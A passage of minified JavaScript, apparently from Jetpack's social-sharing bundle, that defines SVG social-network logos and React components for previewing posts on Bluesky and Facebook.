0 2.963-6.431 5 5 0 0 0-.679-1.247m-13.998 6.96a4 4 0 0 1-3.998-3.995 4 4 0 0 1 3.998-3.997 4 4 0 0 1 3.996 3.997 4 4 0 0 1-3.996 3.995m4.987-4.36A5.007 5.007 0 0 0 7.11 7.821c1.434-.613 3.081-.947 4.867-.947 1.798 0 3.421.324 4.853.966a4.984 4.984 0 0 0-4.831 4.619m6.288 4.134a3.97 3.97 0 0 1-3.058-.122 3.96 3.96 0 0 1-2.075-2.245v-.001a3.97 3.97 0 0 1 .118-3.056 3.97 3.97 0 0 1 2.246-2.077 4.005 4.005 0 0 1 5.135 2.366 4.006 4.006 0 0 1-2.366 5.135&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M6.949 10.307a2.477 2.477 0 0 0-2.475 2.472 2.48 2.48 0 0 0 2.475 2.474 2.474 2.474 0 0 0 0-4.946m0 4.094a1.626 1.626 0 0 1-1.624-1.623 1.621 1.621 0 1 1 1.624 1.623M16.981 10.307a2.477 2.477 0 0 0-2.474 2.472 2.48 2.48 0 0 0 2.474 2.474 2.476 2.476 0 0 0 2.472-2.474 2.475 2.475 0 0 0-2.472-2.472m0 4.094a1.625 1.625 0 0 1-1.622-1.623 1.622 1.622 0 1 1 1.622 1.623&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M7.778 12.778a.832.832 0 1 1-1.664.002.832.832 0 0 1 1.664-.002M16.981 11.947a.832.832 0 1 0 .002 1.666.832.832 0 0 0-.002-1.666&quot;})]})})},{name:&quot;tumblr-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M16.749 17.396c-.357.17-1.041.319-1.551.332-1.539.041-1.837-1.081-1.85-1.896V9.847h3.861v-2.91h-3.847V2.039h-2.817c-.046 0-.127.041-.138.144-.165 1.499-.867 4.13-3.783 5.181v2.484h1.945v6.282c0 2.151 1.587 5.206 5.775 5.135 1.413-.024 2.982-.616 3.329-1.126z&quot;})})})},{name:&quot;tumblr&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2m-5.569 14.265c-2.446.042-3.372-1.742-3.372-2.998v-3.668H8.923v-1.45c1.703-.614 2.113-2.15 2.209-3.025.007-.06.054-.084.081-.084h1.645V8.9h2.246v1.7H12.85v3.495c.008.476.182 1.131 1.081 1.107.298-.008.697-.094.906-.194l.54 1.601c-.205.296-1.121.641-1.946.656&quot;})})})},{name:&quot;twitch&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M16.499 8.089h-1.636v4.91h1.636zm-4.499 0h-1.637v4.91H12zM4.228 3.178 3 6.451v13.092h4.499V22h2.456l2.454-2.456h3.681L21 14.636V3.178zm15.136 10.638L16.5 16.681H12l-2.453 2.453V16.68H5.863V4.814h13.501z&quot;})})})},{name:&quot;twitter-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M22.23 5.924a8.2 8.2 0 0 1-2.357.646 4.12 4.12 0 0 0 1.804-2.27 8.2 8.2 0 0 1-2.606.996 4.103 4.103 0 0 0-6.991 3.742 11.65 11.65 0 0 1-8.457-4.287 4.1 4.1 0 0 0-.556 2.063 4.1 4.1 0 0 0 1.825 3.415 4.1 4.1 0 0 1-1.859-.513v.052a4.104 4.104 0 0 0 3.292 4.023 4.1 4.1 0 0 1-1.853.07 4.11 4.11 0 0 0 3.833 2.85 8.24 8.24 0 0 1-5.096 1.756 8 8 0 0 1-.979-.057 11.6 11.6 0 0 0 6.29 1.843c7.547 0 11.675-6.252 11.675-11.675q0-.267-.012-.531a8.3 8.3 0 0 0 2.047-2.123&quot;})})})},{name:&quot;twitter&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2m-2.534 6.71q.007.148.007.298c0 3.045-2.318 6.556-6.556 6.556a6.5 6.5 0 0 1-3.532-1.035q.27.032.55.032a4.63 4.63 0 0 0 2.862-.986 2.31 2.31 0 0 1-2.152-1.6 2.3 2.3 0 0 0 1.04-.04 2.306 2.306 0 0 1-1.848-2.259v-.029c.311.173.666.276 1.044.288a2.303 2.303 0 0 1-.713-3.076 6.54 6.54 0 0 0 4.749 2.407 2.305 2.305 0 0 1 3.926-2.101 4.6 4.6 0 0 0 1.463-.559 2.3 2.3 0 0 1-1.013 1.275c.466-.056.91-.18 1.323-.363-.31.461-.7.867-1.15 1.192&quot;})})})},{name:&quot;untappd&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;m11 13.299-5.824 8.133c-.298.416-.8.635-1.308.572-.578-.072-1.374-.289-2.195-.879S.392 19.849.139 19.323a1.4 1.4 0 0 1 .122-1.425l5.824-8.133a3.1 3.1 0 0 1 1.062-.927l1.146-.604c.23-.121.436-.283.608-.478.556-.631 2.049-2.284 4.696-4.957l.046-.212a.13.13 0 0 1 .096-.1l.146-.037a.135.135 0 0 0 .101-.141l-.015-.18a.13.13 0 0 1 .125-.142c.176-.005.518.046 1.001.393s.64.656.692.824a.13.13 0 0 1-.095.164l-.175.044a.13.13 0 0 0-.101.141l.012.15a.13.13 0 0 1-.063.123l-.186.112c-1.679 3.369-2.764 5.316-3.183 6.046a2.2 2.2 0 0 0-.257.73l-.205 1.281A3.1 3.1 0 0 1 11 13.3zm12.739 4.598-5.824-8.133a3.1 3.1 0 0 0-1.062-.927l-1.146-.605a2.1 2.1 0 0 1-.608-.478 51 51 0 0 0-.587-.654.09.09 0 0 0-.142.018 97 97 0 0 1-1.745 3.223 1.4 1.4 0 0 0-.171.485 3.5 3.5 0 0 0 0 1.103l.01.064c.075.471.259.918.536 1.305l5.824 8.133c.296.413.79.635 1.294.574a4.76 4.76 0 0 0 2.209-.881 4.76 4.76 0 0 0 1.533-1.802 1.4 1.4 0 0 0-.122-1.425zM8.306 3.366l.175.044a.134.134 0 0 1 .101.141l-.012.15a.13.13 0 0 0 .063.123l.186.112q.465.933.869 1.721c.026.051.091.06.129.019q.655-.703 1.585-1.668a.137.137 0 0 0 .003-.19c-.315-.322-.645-.659-1.002-1.02l-.046-.212a.13.13 0 0 0-.096-.099l-.146-.037a.135.135 0 0 1-.101-.141l.015-.18a.13.13 0 0 0-.123-.142c-.175-.005-.518.045-1.002.393-.483.347-.64.656-.692.824a.13.13 0 0 0 .095.164z&quot;})})})},{name:&quot;vimeo&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M22.396 7.164q-.139 3.039-4.245 8.32Q13.907 21 10.97 21q-1.82 0-3.079-3.359l-1.68-6.159q-.934-3.36-2.005-3.36-.234.001-1.634.98l-.978-1.261q1.541-1.353 3.037-2.708 2.056-1.774 3.084-1.869 2.429-.234 2.99 3.321.607 3.836.841 4.769.7 3.181 1.542 3.181.653 0 1.963-2.065 1.307-2.063 1.401-3.142.187-1.781-1.401-1.782-.747.001-1.541.341 1.534-5.024 5.862-4.884 3.21.095 3.024 4.161&quot;})})})},{name:&quot;vk&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{fillRule:&quot;evenodd&quot;,d:&quot;M1.687 1.687C0 3.374 0 6.09 0 11.52v.96c0 5.431 0 8.146 1.687 9.833S6.09 24 11.52 24h.96c5.431 0 8.146 0 9.833-1.687S24 17.91 24 12.48v-.96c0-5.431 0-8.146-1.687-9.833S17.91 0 12.48 0h-.96C6.09 0 3.374 0 1.687 1.687M4.05 7.3c.13 6.24 3.25 9.99 8.72 9.99h.31v-3.57c2.01.2 3.53 1.67 4.14 3.57h2.84c-.78-2.84-2.83-4.41-4.11-5.01 1.28-.74 3.08-2.54 3.51-4.98h-2.58c-.56 1.98-2.22 3.78-3.8 3.95V7.3H10.5v6.92c-1.6-.4-3.62-2.34-3.71-6.92z&quot;})})})},{name:&quot;whatsapp&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;m2.048 22 1.406-5.136a9.9 9.9 0 0 1-1.323-4.955C2.133 6.446 6.579 2 12.042 2a9.85 9.85 0 0 1 7.011 2.906 9.85 9.85 0 0 1 2.9 7.011c-.002 5.464-4.448 9.91-9.91 9.91h-.004a9.9 9.9 0 0 1-4.736-1.206zm5.497-3.172.301.179a8.2 8.2 0 0 0 4.193 1.148h.003c4.54 0 8.235-3.695 8.237-8.237a8.2 8.2 0 0 0-2.41-5.828 8.18 8.18 0 0 0-5.824-2.416c-4.544 0-8.239 3.695-8.241 8.237a8.2 8.2 0 0 0 1.259 4.384l.196.312-.832 3.04zm9.49-4.554c-.062-.103-.227-.165-.475-.289s-1.465-.723-1.692-.806-.392-.124-.557.124-.64.806-.784.971-.289.186-.536.062-1.046-.385-1.991-1.229c-.736-.657-1.233-1.468-1.378-1.715s-.015-.382.109-.505c.111-.111.248-.289.371-.434.124-.145.165-.248.248-.413s.041-.31-.021-.434-.557-1.343-.763-1.839c-.202-.483-.407-.417-.559-.425-.144-.007-.31-.009-.475-.009a.9.9 0 0 0-.66.31c-.226.248-.866.847-.866 2.066s.887 2.396 1.011 2.562 1.746 2.666 4.23 3.739c.591.255 1.052.408 1.412.522.593.189 1.133.162 1.56.098.476-.071 1.465-.599 1.671-1.177.206-.58.206-1.075.145-1.179&quot;})})})},{name:&quot;woocommerce&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2c5.523 0 10 4.477 10 10s-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2M5.963 8.482c-.78 0-1.176.363-1.176 1.034 0 .67.418 1.055 1.176 1.055h.847v4.012c0 1.132.759 1.803 1.869 1.803.89 0 1.605-.44 2.143-1.45l1.199-2.244v1.903c0 1.12.725 1.79 1.846 1.79.88 0 1.528-.384 2.154-1.45l2.76-4.66c.604-1.023.175-1.792-1.154-1.793-.715 0-1.177.232-1.595 1.012l-1.901 3.572V9.89c0-.946-.451-1.407-1.286-1.408-.66 0-1.187.286-1.594 1.078l-1.792 3.506V9.923c0-1.011-.418-1.44-1.429-1.44z&quot;})})})},{name:&quot;wordpress&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.158 12.786 9.46 20.625a9 9 0 0 0 5.526-.144 1 1 0 0 1-.065-.124zM3.009 12a8.99 8.99 0 0 0 5.067 8.092L3.788 8.341A8.95 8.95 0 0 0 3.009 12m15.06-.454c0-1.112-.399-1.881-.741-2.48-.456-.741-.883-1.368-.883-2.109 0-.826.627-1.596 1.51-1.596q.06.002.116.007A8.96 8.96 0 0 0 12 3.009a8.98 8.98 0 0 0-7.512 4.052c.211.007.41.011.579.011.94 0 2.396-.114 2.396-.114.484-.028.541.684.057.741 0 0-.487.057-1.029.085l3.274 9.739 1.968-5.901-1.401-3.838c-.484-.028-.943-.085-.943-.085-.485-.029-.428-.769.057-.741 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.485-.028.542.684.057.741 0 0-.488.057-1.029.085l3.249 9.665.897-2.996q.684-1.753.684-2.907m1.82-3.86q.06.428.06.924c0 .912-.171 1.938-.684 3.22l-2.746 7.94a8.98 8.98 0 0 0 4.47-7.771 8.9 8.9 0 0 0-1.1-4.313M12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10&quot;})})})},{name:&quot;x&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387z&quot;})})})},{name:&quot;xanga&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M9 9h6v6H9zM3 9h6V3H3zm12 0h6V3h-6zm0 12h6v-6h-6zM3 21h6v-6H3z&quot;})})})},{name:&quot;youtube&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M21.8 8.001s-.195-1.378-.795-1.985c-.76-.797-1.613-.801-2.004-.847-2.799-.202-6.997-.202-6.997-.202h-.009s-4.198 0-6.997.202c-.39.047-1.242.051-2.003.847-.6.607-.795 1.985-.795 1.985S2 9.62 2 11.238v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.761.797 1.76.771 2.205.855 1.6.153 6.8.201 6.8.201s4.203-.006 7.001-.209c.391-.047 1.243-.051 2.004-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517c0-1.618-.2-3.237-.2-3.237M9.935 14.594l-.001-5.62 5.404 2.82z&quot;})})})}]},58992(e,t,s){&quot;use strict&quot;;s.d(t,{d:()=&gt;l});var r=s(28120),n=s.n(r),o=s(51609),a=s(91135),i=s(10790);class l extends o.PureComponent{static defaultProps={size:24};static propTypes={icon:n().string.isRequired,size:n().number,onClick:n().func,className:n().string};render(){const{size:e,onClick:t,icon:s,className:r,...n}=this.props,l=[&quot;social-logo&quot;,&quot;social-logo-&quot;+s,r].filter(Boolean).join(&quot; &quot;),c=a.$.find(e=&gt;e.name===s);if(!c)return(0,i.jsx)(&quot;svg&quot;,{height:e,width:e,...n});return(0,o.cloneElement)(c.svg,{className:l,height:e,width:e,onClick:t,...n})}}},50513(e,t,s){&quot;use strict&quot;;s.d(t,{_:()=&gt;a});var r=s(51609),n=s(10790);function o(e){return(0,n.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 340 340&quot;,width:&quot;36&quot;,height:&quot;36&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,...e,children:(0,n.jsx)(&quot;path&quot;,{fill:&quot;#DDD&quot;,d:&quot;m169,.5a169,169 0 1,0 2,0zm0,86a76,76 0 1 1-2,0zM57,287q27-35 67-35h92q40,0 67,35a164,164 0 0,1-226,0&quot;})})}function a({src:e,alt:t=&quot;&quot;,className:s,fallback:a=(0,n.jsx)(o,{className:s})}){const[i,l]=(0,r.useState)(&quot;&quot;),c=(0,r.useCallback)(e=&gt;{l(e.target.src)},[]);return!!e&amp;&amp;i!==e?(0,n.jsx)(&quot;img&quot;,{src:e,alt:t,onError:c,className:s}):a}},59002(e,t,s){&quot;use strict&quot;;s.d(t,{S6:()=&gt;n,_t:()=&gt;o,dN:()=&gt;a});var r=s(76223);const n=e=&gt;(0,r.RA)((0,r.f5)(200),(0,r.ZT)(200))((0,r.$J)(e))||&quot;&quot;,o=(e,t={})=&gt;{const{offset:s=0,reserveUrlSpace:n=!0}=t;return(0,r.x5)(e,{platform:&quot;bluesky&quot;,maxChars:300-(n?40:0)-s})},a=e=&gt;(0,r.RA)((0,r.f5)(40),(0,r.ZT)(40))((0,r.$J)(e))||&quot;&quot;},89014(e,t,s){&quot;use strict&quot;;s.d(t,{c:()=&gt;o});var r=s(51016),n=s(10790);const o=e=&gt;(0,n.jsx)(r.O,{...e,user:void 0,media:void 0,customText:&quot;&quot;})},51016(e,t,s){&quot;use strict&quot;;s.d(t,{O:()=&gt;u});var r=s(13022),n=s(21458),o=s(41817),a=s(26815),i=s(246),l=s(10519),c=(s(38914),s(10790));const u=e=&gt;{const{user:t,media:s,appendUrl:u}=e;return(0,c.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__post&quot;,children:[(0,c.jsx)(l.Q,{user:t}),(0,c.jsxs)(&quot;div&quot;,{children:[(0,c.jsx)(i.A,{user:t}),(0,c.jsx)(o.A,{...e,appendUrl:u??Boolean(s?.length),children:s?.length?(0,c.jsx)(&quot;div&quot;,{className:(0,r.A)(&quot;bluesky-preview__media&quot;,{&quot;as-grid&quot;:s.length&gt;1}),children:s.map((e,t)=&gt;(0,c.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__media-item&quot;,children:e.type.startsWith(&quot;video/&quot;)?(0,c.jsx)(&quot;video&quot;,{controls:!0,children:(0,c.jsx)(&quot;source&quot;,{src:e.url,type:e.type})}):(0,c.jsx)(&quot;img&quot;,{alt:e.alt||&quot;&quot;,src:e.url})},`bluesky-preview__media-item-${t}`))}):null}),s?.length?null:(0,c.jsx)(a.A,{...e}),(0,c.jsx)(n.A,{})]})]})}},21458(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(4521);var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__post-actions&quot;,children:[(0,r.jsxs)(&quot;div&quot;,{children:[(0,r.jsx)(&quot;svg&quot;,{fill:&quot;none&quot;,width:&quot;18&quot;,viewBox:&quot;0 0 24 24&quot;,height:&quot;18&quot;,style:{color:&quot;rgb(111, 134, 159)&quot;},&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;hsl(211, 20%, 53%)&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M2.002 6a3 3 0 0 1 3-3h14a3 3 0 0 1 3 3v10a3 3 0 0 1-3 3H12.28l-4.762 2.858A1 1 0 0 1 6.002 21v-2h-1a3 3 0 0 1-3-3V6Zm3-1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h2a1 1 0 0 1 1 1v1.234l3.486-2.092a1 1 0 0 1 .514-.142h7a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1h-14Z&quot;})}),(0,r.jsx)(&quot;span&quot;,{children:0})]}),(0,r.jsxs)(&quot;div&quot;,{children:[(0,r.jsx)(&quot;svg&quot;,{fill:&quot;none&quot;,width:&quot;18&quot;,viewBox:&quot;0 0 24 24&quot;,height:&quot;18&quot;,style:{color:&quot;rgb(111, 134, 159)&quot;},&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;hsl(211, 20%, 53%)&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M17.957 2.293a1 1 0 1 0-1.414 1.414L17.836 5H6a3 3 0 0 0-3 3v3a1 1 0 1 0 2 0V8a1 1 0 0 1 1-1h11.836l-1.293 1.293a1 1 0 0 0 1.414 1.414l2.47-2.47a1.75 1.75 0 0 0 0-2.474l-2.47-2.47ZM20 12a1 1 0 0 1 1 1v3a3 3 0 0 1-3 3H6.164l1.293 1.293a1 1 0 1 1-1.414 1.414l-2.47-2.47a1.75 1.75 0 0 1 0-2.474l2.47-2.47a1 1 0 0 1 1.414 1.414L6.164 17H18a1 1 0 0 0 1-1v-3a1 1 0 0 1 1-1Z&quot;})}),(0,r.jsx)(&quot;span&quot;,{children:0})]}),(0,r.jsxs)(&quot;div&quot;,{children:[(0,r.jsx)(&quot;svg&quot;,{fill:&quot;none&quot;,width:&quot;18&quot;,viewBox:&quot;0 0 24 24&quot;,height:&quot;18&quot;,style:{color:&quot;rgb(111, 134, 159)&quot;},&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;hsl(211, 20%, 53%)&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M16.734 5.091c-1.238-.276-2.708.047-4.022 1.38a1 1 0 0 1-1.424 0C9.974 5.137 8.504 4.814 7.266 5.09c-1.263.282-2.379 1.206-2.92 2.556C3.33 10.18 4.252 14.84 12 19.348c7.747-4.508 8.67-9.168 7.654-11.7-.541-1.351-1.657-2.275-2.92-2.557Zm4.777 1.812c1.604 4-.494 9.69-9.022 14.47a1 1 0 0 1-.978 0C2.983 16.592.885 10.902 2.49 6.902c.779-1.942 2.414-3.334 4.342-3.764 1.697-.378 3.552.003 5.169 1.286 1.617-1.283 3.472-1.664 5.17-1.286 1.927.43 3.562 1.822 4.34 3.764Z&quot;})}),(0,r.jsx)(&quot;span&quot;,{children:0})]}),(0,r.jsx)(&quot;div&quot;,{children:(0,r.jsx)(&quot;svg&quot;,{fill:&quot;none&quot;,viewBox:&quot;0 0 24 24&quot;,width:&quot;20&quot;,height:&quot;20&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,children:(0,r.jsx)(&quot;path&quot;,{fill:&quot;hsl(211, 20%, 53%)&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M2 12a2 2 0 1 1 4 0 2 2 0 0 1-4 0Zm16 0a2 2 0 1 1 4 0 2 2 0 0 1-4 0Zm-6-2a2 2 0 1 0 0 4 2 2 0 0 0 0-4Z&quot;})})})]})},41817(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(59002),n=(s(61802),s(10790));const o=({customText:e,url:t,children:s,appendUrl:o})=&gt;{const a=o&amp;&amp;!!t&amp;&amp;!e?.includes(t);return(0,n.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__body&quot;,children:[e?(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(&quot;div&quot;,{children:(0,r._t)(e,{reserveUrlSpace:a})}),a?(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(&quot;br&quot;,{}),(0,n.jsx)(&quot;a&quot;,{href:t,target:&quot;_blank&quot;,rel:&quot;noreferrer noopener&quot;,children:(0,r.dN)(t.replace(/^https?:\/\//,&quot;&quot;))})]}):null]}):null,s]})}},26815(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(76223),n=s(59002),o=(s(11672),s(10790));const a=({title:e,description:t,url:s,image:a})=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__card&quot;,children:[a?(0,o.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__card-image&quot;,children:(0,o.jsx)(&quot;img&quot;,{src:a,alt:&quot;&quot;})}):null,(0,o.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__card-text&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__card-site&quot;,children:(0,r.GA)(s)}),(0,o.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__card-title&quot;,children:(0,n.S6)(e)||(0,r.X2)(t)}),(0,o.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__card-description&quot;,children:(0,r.$J)(t)})]})]})},246(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(27723),n=(s(57589),s(10790));const __=r.__,_x=r._x,o=({user:e})=&gt;{const{displayName:t,address:s}=e||{};let r=s||&quot;username.bsky.social&quot;;return r.startsWith(&quot;@&quot;)||(r=&quot;@&quot;+r),(0,n.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__post-header&quot;,children:[(0,n.jsxs)(&quot;div&quot;,{className:&quot;bluesky-preview__post-header-user&quot;,children:[(0,n.jsx)(&quot;span&quot;,{className:&quot;bluesky-preview__post-header--displayname&quot;,children:t||__(&quot;Account name&quot;,&quot;jetpack&quot;)}),(0,n.jsx)(&quot;span&quot;,{className:&quot;bluesky-preview__post-header--username&quot;,children:r})]}),(0,n.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__post-header--separator&quot;,children:&quot;·&quot;}),(0,n.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__post-header--date&quot;,children:_x(&quot;1h&quot;,&#039;refers to the time since the post was published, e.g. &quot;1h&quot;&#039;,&quot;jetpack&quot;)})]})}},10519(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;o});var r=s(50513),n=(s(2128),s(10790));const o=({user:e})=&gt;{const{avatarUrl:t}=e||{};return(0,n.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__post-sidebar&quot;,children:(0,n.jsx)(&quot;div&quot;,{className:&quot;bluesky-preview__post-sidebar-user&quot;,children:(0,n.jsx)(r._,{className:&quot;bluesky-preview__post-avatar&quot;,src:t})})})}},33853(e,t,s){&quot;use strict&quot;;s.d(t,{Kq:()=&gt;r,_I:()=&gt;n,q8:()=&gt;o});const r=&quot;article&quot;,n=&quot;landscape&quot;,o=&quot;portrait&quot;},30759(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(76223),n=s(28469),o=s(68457),a=s(10790);const i=({text:e,url:t,forceUrlDisplay:s})=&gt;{let i;return((0,r.ti)(e,&quot;a&quot;)||s&amp;&amp;!!t&amp;&amp;!e.includes(t))&amp;&amp;(i=(0,a.jsx)(&quot;a&quot;,{className:&quot;facebook-preview__custom-text-post-url&quot;,href:t,rel:&quot;nofollow noopener noreferrer&quot;,target:&quot;_blank&quot;,children:t})),(0,a.jsxs)(&quot;p&quot;,{className:&quot;facebook-preview__custom-text&quot;,children:[(0,a.jsx)(&quot;span&quot;,{children:(0,a.jsx)(n.MW,{text:e,children:e=&gt;(0,r.x5)(e,{platform:&quot;facebook&quot;,maxChars:o.zl})})}),i]})}},68457(e,t,s){&quot;use strict&quot;;s.d(t,{B2:()=&gt;a,t2:()=&gt;o,zl:()=&gt;n});var r=s(76223);const n=63206,o=e=&gt;(0,r.RA)((0,r.f5)(110),(0,r.ZT)(110))((0,r.$J)(e))||&quot;&quot;,a=e=&gt;(0,r.RA)((0,r.f5)(200),(0,r.ZT)(200))((0,r.$J)(e))||&quot;&quot;},87446(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(51609),o=s(33853);const __=r.__,a=({mode:e})=&gt;{const[t,s]=(0,n.useState)(e),[r,a]=(0,n.useState)(!0),i=(0,n.useCallback)(({target:e})=&gt;{if(!t){const t=e;s(t.naturalWidth&gt;t.naturalHeight?o._I:o.q8)}a(!1)},[t]),l=(0,n.useCallback)(()=&gt;a(!1),[]);return[t,r,{alt:__(&quot;Facebook Preview Thumbnail&quot;,&quot;jetpack&quot;),onLoad:i,onError:l}]}},66901(e,t,s){&quot;use strict&quot;;s.d(t,{l:()=&gt;h});var r=s(27723),n=s(33853),o=s(76223),a=s(30759),i=s(68457),l=s(87446),c=s(44381),u=s(47176),d=s(98714),p=(s(92442),s(10790));const __=r.__,h=({url:e,title:t,description:s,image:r,user:h,customText:m,type:g,imageMode:f,compactDescription:b})=&gt;{const[v,k,y]=(0,l.A)({mode:f}),x=g===n.Kq,j=&quot;is-&quot;+(x&amp;&amp;!r||v===n.q8?&quot;portrait&quot;:&quot;landscape&quot;);return(0,p.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__post&quot;,children:[(0,p.jsx)(u.A,{user:h}),(0,p.jsxs)(&quot;div&quot;,{className:&quot;facebook-preview__content&quot;,children:[m&amp;&amp;(0,p.jsx)(a.A,{text:m,url:e}),(0,p.jsxs)(&quot;div&quot;,{className:`facebook-preview__body ${j} ${r&amp;&amp;k?&quot;is-loading&quot;:&quot;&quot;}`,children:[(r||x)&amp;&amp;(0,p.jsx)(&quot;div&quot;,{className:`facebook-preview__image ${r?&quot;&quot;:&quot;is-empty&quot;} 